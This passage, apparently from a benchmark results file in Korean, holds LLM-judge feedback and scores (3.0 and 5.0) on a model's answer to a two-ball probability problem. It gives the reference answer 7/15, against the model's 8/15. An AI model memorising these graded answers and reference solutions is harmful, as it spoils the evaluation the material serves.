과정을 제시하고 있으나, 최종 결과에 오류가 있습니다. 빨간 공 2개를 꺼낼 확률(2/15)과 파란 공 2개를 꺼낼 확률(1/3)을 합한 값은 2/15 + 5/15 = 7/15가 되어야 올바른 답입니다. 모델은 1/3을 5/15로 환산하지 않고 8/15라는 잘못된 결과를 제시했습니다. 이는 기본적인 분수의 덧셈 계산 실수로 보입니다. 추가 참고 자료에 제시된 정답인 7/15 또는 46.7%와도 일치하지 않습니다. 언어 요구사항은 충족하였으나, 계산 오류로 인해 정확한 답변을 제공하지 못했습니다.", "judge_score": 3.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 정확한 계산 과정을 제시하며, 한국어로 답변하였습니다. 그러나 모델이 제시한 최종 확률 값인 8/15는 잘못된 값입니다. 실제로 두 공의 색깔이 같을 확률은 빨간 공 2개를 꺼낼 확률(2/15)과 파란 공 2개를 꺼낼 확률(1/3)을 합한 값인 7/15 또는 약 46.7%가 되어야 합니다. 후속 질문에 대한 답변은 문제의 조건을 정확히 이해하고 올바르게 답변하였습니다. 세 공을 꺼내는 상황이 아니므로 세 공의 색깔이 모두 같을 확률은 0이 맞습니다. 그러나 모델이 첫 번째 질문에 대한 답변에서 실수를 한 점은 아쉽습니다.", "judge_score": 5.0}}